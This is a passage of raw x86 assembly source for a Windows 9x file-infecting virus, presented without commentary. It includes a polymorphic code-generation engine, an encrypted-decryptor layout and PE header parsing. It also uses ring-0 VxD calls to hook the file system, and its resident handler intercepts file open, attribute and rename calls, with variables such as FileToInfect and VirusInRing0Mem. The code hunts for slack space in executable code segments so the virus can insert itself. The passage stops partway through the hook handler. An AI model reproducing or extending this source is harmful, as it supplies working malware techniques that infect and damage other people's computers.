mov ebx,[ToType+ebp]
|
|||
|
mov ecx,Undefined
|
|||
|
call DeleteFromInfo
|
|||
|
Label34:
|
|||
|
popad
|
|||
|
|
|||
|
|
|||
|
call IsOperandUndefined
|
|||
|
jz ChangeOutput
|
|||
|
|
|||
|
call GetTable
|
|||
|
|
|||
|
mov ecx,[FromOperand+ebp]
|
|||
|
mov edx,[FromTypeOfValue+ebp]
|
|||
|
|
|||
|
xor ebx,ebx
|
|||
|
|
|||
|
test edx,edx
|
|||
|
jz ValueIsProperlyEmulated_DontNeedThisHack
|
|||
|
|
|||
|
add ebx,[eax]
|
|||
|
ValueIsProperlyEmulated_DontNeedThisHack:
|
|||
|
add ebx,[eax+4]
|
|||
|
add ebx,[eax+8]
|
|||
|
add ebx,[eax+12]
|
|||
|
test ebx,ebx
|
|||
|
jnz MakeUndefined
|
|||
|
|
|||
|
YesChangeIt:
|
|||
|
mov ebx,[EmulateInstruction+ebp]
|
|||
|
mov ebx,[ebx]
|
|||
|
add ebx,ebp
|
|||
|
call ebx
|
|||
|
|
|||
|
ChangeOutput:
|
|||
|
call GetEqualValue
|
|||
|
|
|||
|
shr ebx,2
|
|||
|
|
|||
|
call Output
|
|||
|
ret
|
|||
|
|
|||
|
MakeUndefined:
|
|||
|
mov ebx,Undefined
|
|||
|
or [eax+InfoPtr],ebx
|
|||
|
jmp ChangeOutput
|
|||
|
|
|||
|
|
|||
|
FoundEquals dd 0
|
|||
|
ReadFromType dd 0
|
|||
|
|
|||
|
GetEqualValue:
|
|||
|
xor ebx,ebx ; register table
|
|||
|
|
|||
|
mov [FoundEquals+ebp],ebx
|
|||
|
mov [ReadFromType+ebp],ebx
|
|||
|
|
|||
|
mov ecx,Registers
|
|||
|
call CompareOperands
|
|||
|
|
|||
|
mov ecx,[ToType+ebp]
|
|||
|
cmp ecx,4
|
|||
|
jae DontTryMemory
|
|||
|
|
|||
|
mov ecx,MemorySize
|
|||
|
mov [ReadFromType+ebp],4
|
|||
|
call CompareOperands
|
|||
|
|
|||
|
DontTryMemory:
|
|||
|
|
|||
|
push [FromOperand+ebp]
|
|||
|
push [FromTypeOfValue+ebp]
|
|||
|
|
|||
|
mov eax,[FoundEquals+ebp]
|
|||
|
inc eax
|
|||
|
mov ecx,eax
|
|||
|
call Random
|
|||
|
|
|||
|
|
|||
|
imul eax,eax,8
|
|||
|
mov ebx,[esp+eax]
|
|||
|
mov eax,[esp+eax+4] ; eax = Operand
|
|||
|
|
|||
|
imul ecx,ecx,8
|
|||
|
add esp,ecx
|
|||
|
|
|||
|
test ebx,ebx
|
|||
|
jz Return ;
|
|||
|
|
|||
|
mov ecx,Writeable
|
|||
|
call DeleteFromInfo ; delete writeable from mem
|
|||
|
; might still create bugs!!!
|
|||
|
; will be fixed in the future
|
|||
|
; (the odds a bug will happen
|
|||
|
; is extremly low)
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
CompareOperands:
|
|||
|
pop [ReturnAddress+ebp]
|
|||
|
inc ecx
|
|||
|
CmpLoop:
|
|||
|
dec ecx
|
|||
|
jnz Label30
|
|||
|
jmp [ReturnAddress+ebp]
|
|||
|
Label30:
|
|||
|
|
|||
|
mov eax,ecx
|
|||
|
mov ebx,[ReadFromType+ebp]
|
|||
|
|
|||
|
call ReadOperand
|
|||
|
|
|||
|
cmp eax,[FromOperand+ebp]
|
|||
|
jnz CmpLoop
|
|||
|
|
|||
|
cmp ebx,[FromTypeOfValue+ebp]
|
|||
|
jnz CmpLoop
|
|||
|
|
|||
|
cmp ecx,[ToOperand+ebp]
|
|||
|
jz CmpLoop
|
|||
|
|
|||
|
push ecx ; Operand
|
|||
|
mov ebx,[ReadFromType+ebp] ; Type
|
|||
|
add ebx,4
|
|||
|
push ebx
|
|||
|
inc [FoundEquals+ebp]
|
|||
|
jmp CmpLoop
|
|||
|
|
|||
|
|
|||
|
UndefineDependentOperands:
|
|||
|
call IsOperandUndefined
|
|||
|
jnz Return
|
|||
|
|
|||
|
pushad
|
|||
|
xor ebx,ebx
|
|||
|
mov ecx,Registers
|
|||
|
|
|||
|
call Undefine
|
|||
|
|
|||
|
mov ebx,4
|
|||
|
mov ecx,MemorySize
|
|||
|
call Undefine
|
|||
|
|
|||
|
popad
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
Undefine:
|
|||
|
inc ecx
|
|||
|
mov edx,ebx
|
|||
|
UndefineLoop:
|
|||
|
|
|||
|
dec ecx
|
|||
|
jz Return
|
|||
|
|
|||
|
mov eax,ecx
|
|||
|
mov ebx,edx
|
|||
|
cmp eax,[ToOperand+ebp]
|
|||
|
jz UndefineLoop
|
|||
|
|
|||
|
call ReadOperand
|
|||
|
sub ebx,4
|
|||
|
cmp ebx,[ToType+ebp]
|
|||
|
jnz UndefineLoop
|
|||
|
|
|||
|
cmp eax,[ToOperand+ebp]
|
|||
|
jnz UndefineLoop
|
|||
|
|
|||
|
|
|||
|
|
|||
|
push ecx
|
|||
|
mov eax,ecx
|
|||
|
mov ebx,edx
|
|||
|
mov ecx,Undefined
|
|||
|
call SetInfo
|
|||
|
pop ecx
|
|||
|
jmp UndefineLoop
|
|||
|
|
|||
|
|
|||
|
; -----------------------------------------------
|
|||
|
; -------------------------- High level functions
|
|||
|
; -----------------------------------------------
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
RandomOperand:
|
|||
|
mov eax,3+EndValueFrecuency
|
|||
|
shr ebx,2 ; ebx = 0 or 1
|
|||
|
sub eax,ebx ; eax = 3 or 2
|
|||
|
|
|||
|
call Random
|
|||
|
xor ebx,ebx
|
|||
|
|
|||
|
test eax,eax
|
|||
|
jz Random ; eax = 1 or 2
|
|||
|
|
|||
|
dec eax
|
|||
|
jz GetReadableReg
|
|||
|
|
|||
|
|
|||
|
sub eax,EndValueFrecuency+1
|
|||
|
jz GetReadable
|
|||
|
|
|||
|
mov eax,[EndValue+ebp]
|
|||
|
mov ebx,[EndTypeOfValue+ebp]
|
|||
|
and ebx,111b
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
GetWriteableReg:
|
|||
|
call GetWriteableLabel1
|
|||
|
test ebx,ebx
|
|||
|
jnz GetWriteableReg
|
|||
|
ret
|
|||
|
|
|||
|
; Returns a writeable operand
|
|||
|
GetWriteable:
|
|||
|
mov eax,3 ; create more reg then
|
|||
|
call Random ; mem
|
|||
|
test eax,eax
|
|||
|
jnz GetWriteableReg
|
|||
|
|
|||
|
GetWriteableLabel1:
|
|||
|
|
|||
|
call GetReadable
|
|||
|
mov ecx,Writeable
|
|||
|
sub ebx,4
|
|||
|
call TestInfo
|
|||
|
jnz GetWriteableLabel1
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
GetReadableReg:
|
|||
|
call GetReadable
|
|||
|
cmp ebx,4
|
|||
|
jnz GetReadableReg
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
; Returns a operand
|
|||
|
GetReadable:
|
|||
|
mov ebx,4
|
|||
|
|
|||
|
mov eax,Registers+MemorySize
|
|||
|
call Random
|
|||
|
inc eax
|
|||
|
cmp eax,Registers+1
|
|||
|
jl Return
|
|||
|
|
|||
|
shl ebx,1
|
|||
|
sub eax,Registers+1
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; input
|
|||
|
; eax = register or number
|
|||
|
; ebx = number or register and value or mem
|
|||
|
; ebx = 0 = number
|
|||
|
; ebx = 1 = register
|
|||
|
; ebx = 2 = [number]
|
|||
|
; ebx = 3 = [register]
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; ------------------------------------------
|
|||
|
; ---------------------- Low level functions
|
|||
|
; ------------------------------------------
|
|||
|
|
|||
|
Random:
|
|||
|
push ebx
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
|
|||
|
mov ebx,eax
|
|||
|
|
|||
|
add eax,[RandomNumber+ebp]
|
|||
|
mov cl,al
|
|||
|
rol eax,cl
|
|||
|
add eax,14
|
|||
|
xor ecx,46
|
|||
|
ror eax,cl
|
|||
|
add eax,ecx
|
|||
|
xor [RandomNumber+ebp],eax
|
|||
|
|
|||
|
test ebx,ebx
|
|||
|
jz NoMod
|
|||
|
|
|||
|
xor edx,edx
|
|||
|
div ebx
|
|||
|
xchg eax,edx
|
|||
|
NoMod:
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
pop ebx
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
; input
|
|||
|
; edx = opcode
|
|||
|
|
|||
|
OutputOnlyOpcode:
|
|||
|
add edi,16
|
|||
|
and edi,0fffffff0h
|
|||
|
bswap edx
|
|||
|
mov [edi],edx
|
|||
|
add edi,4
|
|||
|
ret
|
|||
|
|
|||
|
OutputOpcode:
|
|||
|
call OutputOnlyOpcode
|
|||
|
jmp OutputNotComma
|
|||
|
|
|||
|
Output:
|
|||
|
mov byte ptr [edi],','
|
|||
|
inc edi
|
|||
|
|
|||
|
OutputNotComma:
|
|||
|
push ecx
|
|||
|
xor ecx,ecx
|
|||
|
cmp ebx,1
|
|||
|
setbe cl
|
|||
|
lea ecx,[ecx*8+ecx]
|
|||
|
push ecx
|
|||
|
test ecx,ecx
|
|||
|
jnz Label10
|
|||
|
mov byte ptr [edi],'['
|
|||
|
inc edi
|
|||
|
|
|||
|
Label10:
|
|||
|
|
|||
|
test ebx,1
|
|||
|
setnz cl
|
|||
|
|
|||
|
shl ecx,2
|
|||
|
add ecx,'N'
|
|||
|
mov byte ptr [edi],cl
|
|||
|
inc edi
|
|||
|
cmp ecx,'N'
|
|||
|
jz OutputNumber
|
|||
|
add eax,'0'
|
|||
|
stosb
|
|||
|
sub eax,'0'
|
|||
|
Label11:
|
|||
|
pop ecx
|
|||
|
test ecx,ecx
|
|||
|
jnz Label12
|
|||
|
|
|||
|
mov byte ptr [edi],']'
|
|||
|
inc edi
|
|||
|
|
|||
|
Label12:
|
|||
|
pop ecx
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
OutputNumber:
|
|||
|
pop ecx
|
|||
|
push ecx
|
|||
|
test ecx,ecx
|
|||
|
setnz cl
|
|||
|
|
|||
|
push eax
|
|||
|
mov eax,'S'
|
|||
|
mov byte ptr [edi+ecx-1],al ; variable
|
|||
|
pop eax
|
|||
|
stosd
|
|||
|
|
|||
|
jmp Label11
|
|||
|
|
|||
|
|
|||
|
GetTable:
|
|||
|
cmp ebx,8
|
|||
|
stc
|
|||
|
jz Return
|
|||
|
|
|||
|
dec eax
|
|||
|
imul eax,eax,20 ; TableSize
|
|||
|
add eax,[Tables+ebx+ebp]
|
|||
|
clc
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
SetInfo:
|
|||
|
push eax
|
|||
|
call GetTable
|
|||
|
jc ReturnPopEax
|
|||
|
or [eax+InfoPtr],ecx ; Set attribute
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
DeleteFromInfo:
|
|||
|
push eax
|
|||
|
call GetTable
|
|||
|
jc ReturnPopEax
|
|||
|
or [eax+InfoPtr],ecx ; Set attribute
|
|||
|
xor [eax+InfoPtr],ecx ; Clear it
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
ChangeInfo:
|
|||
|
push eax
|
|||
|
call GetTable
|
|||
|
jc ReturnPopEax
|
|||
|
mov [eax+InfoPtr],ecx
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
IsOperandUndefined:
|
|||
|
push ecx
|
|||
|
mov ecx,Undefined
|
|||
|
|
|||
|
|
|||
|
|
|||
|
call TestInfo
|
|||
|
pop ecx
|
|||
|
jz Return
|
|||
|
jc SetZeroFlag
|
|||
|
ret
|
|||
|
SetZeroFlag:
|
|||
|
cmp eax,eax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
TestInfo:
|
|||
|
push eax
|
|||
|
call GetTable
|
|||
|
|
|||
|
jc ReturnPopEax
|
|||
|
test [eax+InfoPtr],ecx
|
|||
|
mov ecx,0
|
|||
|
setnz cl
|
|||
|
lahf
|
|||
|
shl cl,6
|
|||
|
btr ax,6+8
|
|||
|
or ah,cl
|
|||
|
sahf
|
|||
|
pop eax
|
|||
|
clc
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; eax = The operand
|
|||
|
; ebx
|
|||
|
; Which table to read from
|
|||
|
|
|||
|
ReadOperand:
|
|||
|
call IsOperandUndefined
|
|||
|
jz OperandIsUndefined
|
|||
|
call GetTable
|
|||
|
|
|||
|
|
|||
|
push ecx
|
|||
|
xor ebx,ebx
|
|||
|
mov ecx,16
|
|||
|
|
|||
|
|
|||
|
FindValueLoop:
|
|||
|
sub ecx,4
|
|||
|
jecxz Label32
|
|||
|
|
|||
|
cmp [eax+ecx],ebx
|
|||
|
jz FindValueLoop
|
|||
|
|
|||
|
Label32:
|
|||
|
mov ebx,ecx
|
|||
|
mov eax,[eax+ecx]
|
|||
|
pop ecx
|
|||
|
ret
|
|||
|
|
|||
|
OperandIsUndefined:
|
|||
|
add ebx,4
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
ReturnPopEax:
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
GetWhereFrom:
|
|||
|
lea ebx,[FromWhere+ebp-4]
|
|||
|
jmp GodDamnedLabelDammit
|
|||
|
GetWhereTo:
|
|||
|
lea ebx,[EndWhere+ebp-4]
|
|||
|
GodDamnedLabelDammit:
|
|||
|
push ebx
|
|||
|
xor eax,eax
|
|||
|
dec eax
|
|||
|
GodDamnedLoopDammit:
|
|||
|
add ebx,4
|
|||
|
cmp eax,[ebx]
|
|||
|
jz GodDamnedLoopDammit
|
|||
|
mov eax,[ebx]
|
|||
|
sub ebx,[esp]
|
|||
|
sub ebx,4
|
|||
|
add esp,4
|
|||
|
ret
|
|||
|
|
|||
|
OutputPrefix:
|
|||
|
push eax
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
cmp eax,[Prefix+ebp]
|
|||
|
jz OutputPrefixEnd
|
|||
|
|
|||
|
add edi,16
|
|||
|
and edi,0fffffff0h
|
|||
|
mov eax,Op_db
|
|||
|
bswap eax
|
|||
|
stosd
|
|||
|
xor eax,eax
|
|||
|
inc eax
|
|||
|
stosb
|
|||
|
xor eax,eax
|
|||
|
xchg eax,[Prefix+ebp]
|
|||
|
|
|||
|
stosb
|
|||
|
|
|||
|
OutputPrefixEnd:
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Optimize:
|
|||
|
call ClearDoNothingInstrucions
|
|||
|
; call ClearUnnessesaryInstructions
|
|||
|
|
|||
|
xchg esi,edi
|
|||
|
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
MaybeUnnessesaryInstructions:
|
|||
|
dd Op_mov, Op_add, Op_sub, Op_and, Op_or, Op_xor
|
|||
|
MaybeUnnessesaryInstructionsEnd:
|
|||
|
|
|||
|
ClearUnnessesaryInstructions:
|
|||
|
push edi
|
|||
|
|
|||
|
sub esi,16
|
|||
|
|
|||
|
ClearUnnessesaryInstructionsLoop:
|
|||
|
push edi
|
|||
|
add esi,16
|
|||
|
and esi,0fffffff0h
|
|||
|
lodsd
|
|||
|
bswap eax
|
|||
|
|
|||
|
lea edi,[MaybeUnnessesaryInstructions+ebp]
|
|||
|
mov ecx,(MaybeUnnessesaryInstructionsEnd-MaybeUnnessesaryInstructions)/4
|
|||
|
repnz scasd
|
|||
|
|
|||
|
test ecx,ecx
|
|||
|
jz DontOptimize2
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
|
|||
|
.while (al!=',')
|
|||
|
lodsb
|
|||
|
|
|||
|
.endw
|
|||
|
|
|||
|
mov edi,esi
|
|||
|
mov ecx,1000h
|
|||
|
FindNextEntry:
|
|||
|
; rep scasb
|
|||
|
jecxz DontOptimize2
|
|||
|
|
|||
|
mov ebx,edi
|
|||
|
and edi,0fffffff0h
|
|||
|
sub ebx,edi
|
|||
|
cmp ebx,4
|
|||
|
jz DontOptimize2
|
|||
|
|
|||
|
mov ebx,Op_mov
|
|||
|
cmp [edi],ebx
|
|||
|
jnz FindNextEntry
|
|||
|
pop edi
|
|||
|
jmp ClearUnnessesaryInstructionsLoop
|
|||
|
|
|||
|
DontOptimize2:
|
|||
|
pop edi
|
|||
|
and esi,0fffffff0h
|
|||
|
mov ecx,16
|
|||
|
rep movsb
|
|||
|
sub esi,16
|
|||
|
jmp ClearUnnessesaryInstructionsLoop
|
|||
|
|
|||
|
|
|||
|
|
|||
|
pop edi
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
ClearDoNothingInstrucions:
|
|||
|
push edi
|
|||
|
sub esi,16
|
|||
|
xor ecx,ecx
|
|||
|
|
|||
|
OptimizeLoop:
|
|||
|
|
|||
|
add esi,16
|
|||
|
and esi,0fffffff0h
|
|||
|
push esi
|
|||
|
|
|||
|
lodsd
|
|||
|
test eax,eax
|
|||
|
jz OptimizeEnd
|
|||
|
|
|||
|
bswap eax
|
|||
|
cmp eax,Op_mov
|
|||
|
jnz DontOptimize
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
lodsw
|
|||
|
mov ebx,eax
|
|||
|
lodsb
|
|||
|
lodsw
|
|||
|
cmp ebx,eax
|
|||
|
jnz DontOptimize
|
|||
|
pop esi
|
|||
|
jmp OptimizeLoop
|
|||
|
|
|||
|
DontOptimize:
|
|||
|
mov ecx,16
|
|||
|
pop esi
|
|||
|
rep movsb
|
|||
|
sub esi,16
|
|||
|
jmp OptimizeLoop
|
|||
|
|
|||
|
OptimizeEnd:
|
|||
|
test ecx,ecx
|
|||
|
jnz OptimizeDoReallyQuit
|
|||
|
|
|||
|
mov ecx,16
|
|||
|
pop esi
|
|||
|
rep movsb
|
|||
|
sub esi,16
|
|||
|
|
|||
|
inc ecx
|
|||
|
jmp OptimizeLoop
|
|||
|
|
|||
|
|
|||
|
OptimizeDoReallyQuit:
|
|||
|
pop eax
|
|||
|
pop edi
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; 1. Init block
|
|||
|
|
|||
|
; offset 0
|
|||
|
; pushad
|
|||
|
|
|||
|
; 2. Make pointer to mem
|
|||
|
|
|||
|
; 3. Read block
|
|||
|
; Encrypt block
|
|||
|
; Write block
|
|||
|
|
|||
|
; popad
|
|||
|
|
|||
|
; 5. Change mempointer block
|
|||
|
; 6. Compare and jump block
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
PE_Objects equ 6
|
|||
|
PE_NTHdrSize equ 20
|
|||
|
PE_Entrypoint equ 40
|
|||
|
PE_ImageBase equ 52
|
|||
|
PE_ObjectAlign equ 56
|
|||
|
PE_FileAlign equ 60
|
|||
|
PE_ImageSize equ 80
|
|||
|
|
|||
|
Obj_Name equ 0
|
|||
|
Obj_VirtualSize equ 8
|
|||
|
Obj_VirtualOffset equ 12
|
|||
|
Obj_PhysicalSize equ 16
|
|||
|
Obj_PhysicalOffset equ 20
|
|||
|
Obj_Flags equ 36
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
IFSMgr equ 0040h
|
|||
|
|
|||
|
R0_AllocMem equ 000dh
|
|||
|
R0_FreeMem equ 000eh
|
|||
|
|
|||
|
Ring0_FileIO equ 0032h
|
|||
|
InstallFileSystemAPIhook equ 0067h
|
|||
|
UniToBCSPath equ 0041h
|
|||
|
|
|||
|
ResidentcodeStart:
|
|||
|
|
|||
|
jmp FileFunction
|
|||
|
|
|||
|
R0_OPENCREATFILE equ 0D500h ; Open/Create a file
|
|||
|
R0_READFILE equ 0D600h ; Read a file, no context
|
|||
|
R0_WRITEFILE equ 0D601h ; Write to a file, no context
|
|||
|
R0_CLOSEFILE equ 0D700h
|
|||
|
|
|||
|
|
|||
|
IFSFN_FILEATTRIB equ 33
|
|||
|
IFSFN_OPEN equ 36
|
|||
|
IFSFN_RENAME equ 37
|
|||
|
|
|||
|
|
|||
|
IFSFN_READ equ 0 ; read a file
|
|||
|
IFSFN_WRITE equ 1 ; write a file
|
|||
|
|
|||
|
|
|||
|
|
|||
|
FileIOWrite:
|
|||
|
mov eax,R0_WRITEFILE
|
|||
|
mov ebx,[FileHandle+edi]
|
|||
|
pop [ReturnAddr+edi]
|
|||
|
push Ring0_FileIO
|
|||
|
jmp Label6
|
|||
|
|
|||
|
FileIOReadDWordToSlack:
|
|||
|
mov ecx,4 ; how many bytes
|
|||
|
FileIOReadToSlack:
|
|||
|
lea esi,[Slack+edi] ; where to place data
|
|||
|
FileIORead:
|
|||
|
mov eax,R0_READFILE
|
|||
|
FileIOHandle:
|
|||
|
mov ebx,[FileHandle+edi]
|
|||
|
FileIO:
|
|||
|
pop [ReturnAddr+edi]
|
|||
|
push Ring0_FileIO
|
|||
|
jmp Label6
|
|||
|
vxd:
|
|||
|
pop [ReturnAddr+edi]
|
|||
|
Label6:
|
|||
|
pop [CallService+edi+2]
|
|||
|
mov word ptr [CallService+edi],20cdh
|
|||
|
mov word ptr [CallService+edi+4],0040h
|
|||
|
jmp CallService
|
|||
|
|
|||
|
CallService:
|
|||
|
Slack:
|
|||
|
int 20h
|
|||
|
dw 0dh
|
|||
|
dw 0040h
|
|||
|
jmp [ReturnAddr+edi]
|
|||
|
|
|||
|
|
|||
|
ZeroRegStart:
|
|||
|
|
|||
|
|
|||
|
db 0
|
|||
|
FileToInfect db 256 dup (0)
|
|||
|
|
|||
|
TempPtr dd 0
|
|||
|
|
|||
|
TotalSize dd 0
|
|||
|
OldAPIFunction dd 0
|
|||
|
GuidePos dd 0
|
|||
|
GuideSize dd 0
|
|||
|
DecryptorPos dd 0
|
|||
|
DecryptorSize dd 0
|
|||
|
|
|||
|
HeaderSize dd 0
|
|||
|
|
|||
|
VirusInRing0Mem dd 0
|
|||
|
|
|||
|
MemoryTable dd 0
|
|||
|
VirtualDataSegment dd 0
|
|||
|
|
|||
|
ReturnAddr dd 0
|
|||
|
ReturnAddr2 dd 0
|
|||
|
|
|||
|
Flag dd 0
|
|||
|
|
|||
|
FileHandle dd 0
|
|||
|
PEHeadOfs dd 0
|
|||
|
PEHeadStart dd 0
|
|||
|
ObjTable dd 0
|
|||
|
|
|||
|
CodeObjectPtr dd 0
|
|||
|
DataObjectPtr dd 0
|
|||
|
LastObjectPtr dd 0
|
|||
|
|
|||
|
SlackInCodeSegment dd 0
|
|||
|
SlackInDataSegment dd 0
|
|||
|
|
|||
|
OldRVA dd 0
|
|||
|
StackSave dd 0
|
|||
|
|
|||
|
NewVirusOffset dd 0
|
|||
|
JumpTableMoveOffset dd 0
|
|||
|
|
|||
|
NewGuideOffset dd 0
|
|||
|
NewDecryptorOffset dd 0
|
|||
|
NewDataSegmentOffset dd 0
|
|||
|
|
|||
|
Unload dd 0
|
|||
|
ZeroRegEnd:
|
|||
|
|
|||
|
; eax = how much free space
|
|||
|
; ebx = where it is located
|
|||
|
; ecx = pointer to segment object table
|
|||
|
; edx = last object pointer
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
GetSegmentSlack:
|
|||
|
pop [ReturnAddr2+edi]
|
|||
|
|
|||
|
mov eax,[PEHeadStart+edi]
|
|||
|
lea ebx,[eax+24]
|
|||
|
|
|||
|
xor ecx,ecx
|
|||
|
mov cx,[eax+PE_NTHdrSize] ; NT hdr size
|
|||
|
|
|||
|
add ebx,ecx ; ebx -> object table
|
|||
|
|
|||
|
mov cx,[eax+PE_Objects] ; # objects
|
|||
|
imul ecx,ecx,40
|
|||
|
|
|||
|
add ecx,ebx
|
|||
|
push ecx ; push pointer to last object
|
|||
|
; + 40
|
|||
|
FindCodeSegmentLoop:
|
|||
|
sub ecx,8*5
|
|||
|
cmp ecx,ebx
|
|||
|
jl DidntFindSegment
|
|||
|
|
|||
|
cmp dword ptr [ecx],edx ; is code object?
|
|||
|
jnz FindCodeSegmentLoop
|
|||
|
|
|||
|
pop edx ; pop pointer to last object
|
|||
|
sub edx,40
|
|||
|
|
|||
|
mov eax,[ecx+Obj_PhysicalSize] ; size of segment
|
|||
|
mov ebx,[ecx+Obj_PhysicalOffset] ; where does segment start
|
|||
|
|
|||
|
call CalculateFreeSpace
|
|||
|
jmp [ReturnAddr2+edi]
|
|||
|
|
|||
|
DidntFindSegment:
|
|||
|
pop eax
|
|||
|
xor eax,eax
|
|||
|
jmp [ReturnAddr2+edi]
|
|||
|
|
|||
|
|
|||
|
SegmentSize dd 0
|
|||
|
SegmentOffset dd 0
|
|||
|
SegmentBuffer dd 0
|
|||
|
|
|||
|
CalculateFreeSpace:
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
|
|||
|
mov [SegmentSize+edi],eax
|
|||
|
mov [SegmentOffset+edi],ebx
|
|||
|
|
|||
|
push eax
|
|||
|
push R0_AllocMem
|
|||
|
call vxd
|
|||
|
pop ecx
|
|||
|
test eax,eax
|
|||
|
jz FileFunctionEndAddEsp
|
|||
|
|
|||
|
mov [SegmentBuffer+edi],eax
|
|||
|
|
|||
|
mov edx,[SegmentOffset+edi] ; read from
|
|||
|
mov esi,eax ; read to
|
|||
|
mov ecx,[SegmentSize+edi] ; how much to read
|
|||
|
call FileIORead
|
|||
|
|
|||
|
mov ebx,edi
|
|||
|
|
|||
|
mov edi,[SegmentBuffer+ebx]
|
|||
|
|
|||
|
add edi,[SegmentSize+ebx]
|
|||
|
sub edi,4 ; edi -> end of segment
|
|||
|
|
|||
|
push edi ; push end of seg
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
xor ecx,ecx
|
|||
|
dec ecx
|
|||
|
|
|||
|
std
|
|||
|
repz scasb
|
|||
|
cld
|
|||
|
dec eax
|
|||
|
sub eax,ecx
|
|||
|
|
|||
|
mov edi,ebx
|
|||
|
|
|||
|
pop ebx ; end of seg
|
|||
|
sub ebx,8 ; decrease some
|
|||
|
|
|||
|
|
|||
|
push eax ; push number of slack bytes
|
|||
|
|
|||
|
mov eax,[SegmentBuffer+edi]
|
|||
|
sub ebx,eax
|
|||
|
push eax
|
|||
|
push R0_FreeMem
|
|||
|
call vxd
|
|||
|
pop eax
|
|||
|
|
|||
|
pop eax ; eax = slackbytes in codeseg
|
|||
|
sub eax,20 ; some safety
|
|||
|
sub ebx,eax ; where slack starts
|
|||
|
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; ----------------------------------------
|
|||
|
; --------------------------- FileFunction
|
|||
|
; ----------------------------------------
|
|||
|
|
|||
|
FileFunction:
|
|||
|
push ebp
|
|||
|
|
|||
|
mov ebp,esp
|
|||
|
push edi
|
|||
|
push esi
|
|||
|
push ebx
|
|||
|
|
|||
|
BasePtr:
|
|||
|
mov edi,66666666h
|
|||
|
|
|||
|
cmp [Unload+edi],1
|
|||
|
jz CallInOurFunction
|
|||
|
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
inc eax
|
|||
|
cmp [Flag+edi],eax
|
|||
|
jz CallInOurFunction
|
|||
|
|
|||
|
mov [Flag+edi],eax
|
|||
|
mov eax,[ebp+12]
|
|||
|
|
|||
|
cmp eax,IFSFN_OPEN
|
|||
|
jz CheckFilename
|
|||
|
|
|||
|
cmp eax,IFSFN_FILEATTRIB
|
|||
|
jz CheckFilename
|
|||
|
|
|||
|
cmp eax,IFSFN_RENAME
|
|||
|
jnz FileFunctionEnd
|
|||
|
|
|||
|
CheckFilename:
|
|||
|
|
|||
|
mov eax,[ebp+16]
|
|||
|
|
|||
|
test eax,eax
|
|||
|
jz FileFunctionEnd
|
|||
|
|
|||
|
cmp eax,0ffh
|
|||
|
jz FileFunctionEnd
|
|||
|
|
|||
|
cmp eax,25
|
|||
|
